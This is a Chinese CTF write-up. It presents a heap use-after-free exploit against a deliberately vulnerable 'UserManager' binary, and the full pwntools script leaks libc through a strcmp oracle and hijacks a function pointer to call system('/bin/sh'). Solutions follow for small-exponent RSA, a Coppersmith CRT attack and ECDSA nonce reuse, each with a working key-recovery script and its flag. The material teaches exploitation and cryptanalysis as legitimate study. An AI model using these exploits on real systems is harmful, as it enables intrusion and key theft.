题目名称 PWN-UserManager
题目分类 PWN
题目难度 初级
题目分值 400
题目附件 login.zip(login、libc-2.23.so)
靶机地址 47.99.147.34:19588
复现状态 靶机已关闭,无法补远程 flag
截图;以下为保存脚本与本地分析复原。
二、保护检查
获取到 login 和 libc-2.23.so 后,先使用 checksec 查看保护:
checksec \--file=./login\
\
Arch: amd64-64-little\
RELRO: Full RELRO\
Stack: Canary found\
NX: NX enabled\
PIE: PIE enabled\
Stripped: No\
Debuginfo: Yes可以看到程序开启了 Full RELRO、Canary、NX 和 PIE,不能采用简单栈溢出或
GOT 覆写。题目给出 glibc 2.23,并且题面提示
Fastbin,因此重点分析堆对象的释放和复用。
三、功能逆向
程序菜单为 1.Login、2.Register、3.Delete、4.Edit。全局数组 users10
位于 PIE + 0x202040,每个元素指向一个 0x18 字节的用户结构体:
struct user { char name; // +0x00,指向用户密码/字符串缓冲区 void (func)(char); // +0x08,注册时写入 show long size; // +0x10,缓冲区长度 };
• Register:先 malloc(size) 申请 name 缓冲区,再 malloc(0x18) 申请
user 结构体,写入 name、show、size。• Login:读入 password 后与 usersid-name 做 strcmp,成功后调用
usersid-func(usersid-name)。• Edit:执行 read(0, usersid-name, usersid-size),如果
user 结构体可控,就可以形成任意地址写。• Delete:释放 usersid-name 和 usersid,但没有把 usersid
清空,这是核心 UAF。
四、漏洞点
Delete(id): free(usersid-name); free(usersid); // 缺少 usersid = NULL,产生悬空指针
删除用户后,全局数组仍然保存已释放结构体指针。只要后续 malloc 把该结构体
chunk 重新分配为可控输入缓冲区,就能改写悬空结构体里的 name、func、size
字段。最终目标是把 func 改成 system,并让 name 指向或存放 /bin/sh。
五、Fastbin 利用流程
在已知 libc 基址的本地环境中,最直接的利用流程如下:
• Register(0, 0x18, A0x18),得到 name0(0x20) 和 node0(0x20)。
• Delete(0),两个 0x20 chunk 进入 fastbin,users0 悬空指向 node0。
• Register(1, 0x18, payload),name1 复用 node0,于是 payload
实际写入悬空的 users0 结构体。• payload = p64(binsh) + p64(system) + p64(8),把 users0 伪造成
{name=/bin/sh, func=system, size=8}。• Login(0, 8, /bin/shx00),strcmp 通过后调用
system(/bin/sh)。
六、libc 基址与盲读思路
远程情况下的难点是没有直接泄露地址的输出。show() 只有在 strcmp 成功后才
puts(name),因此保存脚本使用 strcmp 的成功/失败作为 oracle,逐字节爆破
unsorted bin 中残留的 libc 指针。
• 先申请 0x80 大小的 name0,释放后进入 unsorted bin,chunk 中残留
main_arena+88。• 通过 fastbin 复用,让 Edit(2) 可以改写悬空 users1 结构体的 name
指针低字节。• 把 users1-name 依次指向 libc 指针的高位字节,利用 strcmp
字符串必须以 0 结尾的特点,从高字节向低字节爆破。• Login(1, idx, guess) 若返回 Login success,说明当前 guess 正确。
libc_leak_offset = 0x3c4b78 glibc 2.23 main_arena + 88 libc_base = u64(leak_data.ljust(8, bx00)) - libc_leak_offset system_addr = libc_base + libc.symbolssystem
七、劫持函数指针
泄露并计算出 system 地址后,继续使用伪造出的写原语覆盖函数指针:
edit(2, p8(0xa8)) 让 users1-name 指向 users0-func edit(1, p64(system_addr)) 覆写 users0-func 为 system edit(0, b/bin/shx00) users0-name 写入 /bin/sh login(0, 8, b/bin/shx00)
触发时程序实际执行 users0-func(users0-name),也就是
system(/bin/sh)。
八、完整脚本
完整脚本如下,端口和交互逻辑来自当时保存的脚本;当前靶机已关闭,无法再次远程验证。
#!/usr/bin/env python3\
from pwn import \*\
\
context.update(arch=\'amd64\', os=\'linux\', log_level=\'debug\')\
\
HOST, PORT = \'47.99.147.34\', 19588\
elf = ELF(\'./login\', checksec=False)\
libc = ELF(\'./libc-2.23.so\', checksec=False)\
\
def start():\
\# 靶机关闭后无法再次远程验证;本地调试时可替换为
process(\'./login_patched\')\
return remote(HOST, PORT)\
\
io = start()\
\
def choice(n):\
io.sendlineafter(b\'Your choice:\', str(n).encode())\
\
def register(idx, size, data):\
choice(2)\
io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
io.sendlineafter(b\'Input the password length:\', str(size).encode())\
io.sendafter(b\'Input password:\', data)\
\
def login(idx, size, data):\
choice(1)\
io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
io.sendlineafter(b\'Input the passwords length:\', str(size).encode())\
io.sendafter(b\'Input the password:\', data)\
\
def delete(idx):\
choice(3)\
io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
\
def edit(idx, data):\
choice(4)\
io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
io.sendafter(b\'Input new pass:\', data)\
\
\# 1. 构造 UAF 与堆块复用关系\
register(0, 0x80, b\'a\') \# name0: 0x90 chunk, node0: 0x20 chunk\
register(1, 0x20, b\'b\') \# name1: 0x30 chunk, node1: 0x20 chunk\
delete(0)\
delete(1)\
\
\# 2. name2 复用 node1,node2 复用 node0。edit(2) 可以改写 dangling
node1。\
register(2, 0x18, p8(0x20))\
register(3, 0x80, b\'aaaa\')\
\
\# 3. 使用 strcmp 成功/失败作为盲读 oracle,从高字节向低字节爆破
main_arena+88\
leak_data = b\'\'\
start_offset = 0x1d\
for idx in range(1, 7):\
edit(2, p8(start_offset))\
for byte_val in range(0x100):\
guess = p8(byte_val) + leak_data\
login(1, idx, guess)\
resp = io.recvuntil(b\'\\n\')\
if b\'success\' in resp:\
leak_data = p8(byte_val) + leak_data\
log.info(\'leak\[%d\] = %s\' % (idx, leak_data.hex()))\
break\
start_offset -= 1\
\
libc_leak = u64(leak_data.ljust(8, b\'\\x00\'))\
libc_base = libc_leak - 0x3c4b78 \# main_arena + 88 in glibc 2.23\
system_addr = libc_base + libc.symbols\[\'system\'\]\
\
log.success(\'libc leak = %#x\' % libc_leak)\
log.success(\'libc base = %#x\' % libc_base)\
log.success(\'system = %#x\' % system_addr)\
\
\# 4. 把 users\[1\]-\>name 指向 users\[0\]-\>func,覆写函数指针为
system\
edit(2, p8(0xa8))\
edit(1, p64(system_addr))\
\
\# 5. 写入 /bin/sh,Login(0) 通过 strcmp 后触发
users\[0\]-\>func(users\[0\]-\>name)\
edit(0, b\'/bin/sh\\x00\')\
login(0, len(b\'/bin/sh\\x00\'), b\'/bin/sh\\x00\')\
\
io.interactive()总结
本题是经典 UAF + Fastbin 复用题。Delete 后没有清空
usersid,使全局数组保留悬空结构体指针;Register
的分配顺序可以让该结构体 chunk 被复用为可控 name
缓冲区,从而改写函数指针。由于没有直接地址泄露,脚本进一步利用 strcmp
成功/失败作为盲读 oracle,爆破 main_arena+88 并计算 libc
基址,最终将函数指针改为 system,触发 system(/bin/sh)。
Crypto
(一)BabyRSA7
题目截图

解题思路
e很小,直接用存的模板解
from gmpy2 import *
from Crypto.Util.number import long_to_bytes
n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669
k = 0
while True:
# iroot 用于计算x的开e次方根,返回一个二元组
# 第一个返回值是m
# 第二个返回一个boolean,True表示x正好是某个数的e次方,False则表示不是
res = iroot(k * n + c, e)
if res[1] :
print(res[0])
print(long_to_bytes(res[0]))
break
k += 1获取 flag
flag{769cc0209669698952823747f21eb10e}

(二)ScatterRSA5
题目截图

解题思路
已知:
$$(a_{i}m + b_{i})^{3} \equiv c_{i}\ (mod\ n_{i})$$
构造
$$f_{i}(x) = (a_{i}x + b_{i})^{3} - c_{i}$$
则真实消息 $m$ 满足:
$$f_{i}(m) \equiv 0\ (mod\ n_{i})$$
因为有 3 组不同模数,利用 CRT 合并成一个多项式:
$$F(x) \equiv f_{i}(x)\ (mod\ n_{i})$$
于是
$$F(m) \equiv 0\ (mod\ N)$$
其中
$$N = n_{1}n_{2}n_{3}.$$
由于 flag 很短,$m$ 很小,而 $e = 3$,满足 Coppersmith
小根条件,可以直接求出整数根。
代码:
from Crypto.Util.number import *
from sage.all import *
e = 3
n1 = 149471060183447936980583724077383355692859549748160483922882057786679889724568735409700801419094449680179537972191386993867603702668679668306553872004112428130445313416376761696995587923246012864695652948590643274432834651820778665154718441663982326046364106308730652635560436118543611436354327938966961951331
a1 = 338357169433999657984537538913876406512
b1 = 93847424699168028058780966473339328294563919918279821164826861675759747822473
c1 = 34430785473972448692161870438454747957572539725348052391872439699125614318617944233945435120736663933086730870001078547637231830857724653038238391533873103813416667121436773552883728877333074855071947485287211983644966320215763505267172535742466614496283950064702104001756579277994685029747130324495922934824
n2 = 136208311021853934494321526163487402847606152806878513126721255023187308282712159028473636037218420695241421047139045462207710118475470833469710436525689272408725084045869012458304422970856284334034664511095523337861420570291860365945627161581720048251636888973944007258654574459601742740725214557960291587093
a2 = 210159459133364897705545011926383119957
b2 = 74483550021698235990017063068736489470332200818750996109360669737597615620734
c2 = 65848819896666974375632779039055530715010908060496037581668759351626175569708470229723960027360662306305056082920816591767273118605973071872362536660178228232553811410036029980902415557631512893136834586512735075782676874224713303863141175997683953686345129511914583248784781481798775931011866332596570194034
n3 = 82652967947889398199319831939462247407668338515110341768941889168185275246644533880961823434897679342885742614801012871683883930282174722842480675111751417498838557911165115871277850939076605407319338006054219745248120417349691923431914233299552930754329410187283208111137353492043167768681800218790589223357
a3 = 199911740299251293530378730825698235865
b3 = 68732143566645321375517954575950854502528418137776163830420574169391007168591
c3 = 51340834165603541850289422968933197549138520376008561464103340964512256853359481315990010558393063830494392635850123981273823075027217730499305639170834510618887689796988185065764000318346393823713212563487497843538255447085603427388969321069818275429070290349663235662061366355280671380640262747225336183124
R.<x> = PolynomialRing(Zmod(1))
f1 = (a1*x + b1)^3 - c1
f2 = (a2*x + b2)^3 - c2
f3 = (a3*x + b3)^3 - c3
N = n1*n2*n3
# CRT coefficients
N1 = N // n1
N2 = N // n2
N3 = N // n3
t1 = inverse_mod(N1, n1)
t2 = inverse_mod(N2, n2)
t3 = inverse_mod(N3, n3)
# 合并为模 N 的单个多项式
PR.<x> = PolynomialRing(Zmod(N))
F = (
((a1*x+b1)^3-c1) * N1 * t1 +
((a2*x+b2)^3-c2) * N2 * t2 +
((a3*x+b3)^3-c3) * N3 * t3
)
F = F.monic()
roots = F.small_roots(
X=2^350,
beta=1.0,
epsilon=1/20
)
print("[+] roots =", roots)
if roots:
m = int(roots[0])
print(long_to_bytes(m))获取 flag
flag{83f32ba281c5fc035b02c2fe1e7a270e}

(三)ECDSA nonce 重用
题目截图

解题思路
观察数据可以发现:
signature1_r == signature2_r在 ECDSA 中,如果两次签名复用了相同随机数 k,就会产生相同的r。这会导致私钥可以被直接恢复。
ECDSA 签名公式为:
s = k^-1 * (z + r * d) mod n其中:
d是私钥k是签名随机数 noncez是消息哈希r, s是签名值n是椭圆曲线基点的阶
两次签名复用同一个 k 时:
s1 = k^-1 * (z1 + r * d) mod n
s2 = k^-1 * (z2 + r * d) mod n两式相减:
s1 - s2 = k^-1 * (z1 - z2) mod n因此可以恢复 k:
k = (z1 - z2) * (s1 - s2)^-1 mod n拿到 k 后,再由签名公式恢复私钥:
d = (s1 * k - z1) * r^-1 mod n还有一个需要注意的是,题目给的flag格式是固定长度的,所以最后需要将d转成十六进制,再取前32位。(其实是试了很多遍才对的)
import json
import hashlib
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240
Gy = 32670510020758816978083085130507043184471273380659243275938904335757337482424
def inv(a, m):
return pow(a % m, -1, m)
def point_add(P, Q):
if P is None:
return Q
if Q is None:
return P
x1, y1 = P
x2, y2 = Q
if x1 == x2 and (y1 + y2) % p == 0:
return None
if P == Q:
lam = (3 * x1 * x1) * inv(2 * y1, p) % p
else:
lam = (y2 - y1) * inv(x2 - x1, p) % p
x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
return x3, y3
def scalar_mul(k, P):
R = None
while k:
if k & 1:
R = point_add(R, P)
P = point_add(P, P)
k >>= 1
return R
with open("challenge.json", "r", encoding="utf-8") as f:
c = json.load(f)
msg1 = bytes.fromhex(c["message1"])
msg2 = bytes.fromhex(c["message2"])
z1 = int.from_bytes(hashlib.sha256(msg1).digest(), "big")
z2 = int.from_bytes(hashlib.sha256(msg2).digest(), "big")
r = int(c["signature1_r"])
s1 = int(c["signature1_s"])
s2 = int(c["signature2_s"])
k = ((z1 - z2) * inv(s1 - s2, n)) % n
d = ((s1 * k - z1) * inv(r, n)) % n
public_key = scalar_mul(d, (Gx, Gy))
expected_public_key = (int(c["public_key_x"]), int(c["public_key_y"]))
print("k =", k)
print("private_decimal =", d)
print("private_hex =", format(d, "064x"))
print("pubkey_matches =", public_key == expected_public_key)
print("flag{ecdsa_nonce_reuse_" + format(d, "064x")[:32] + "}")获取 flag
flag{ecdsa_nonce_reuse_7880119303429b4ed0e4237c584e0795}

==END==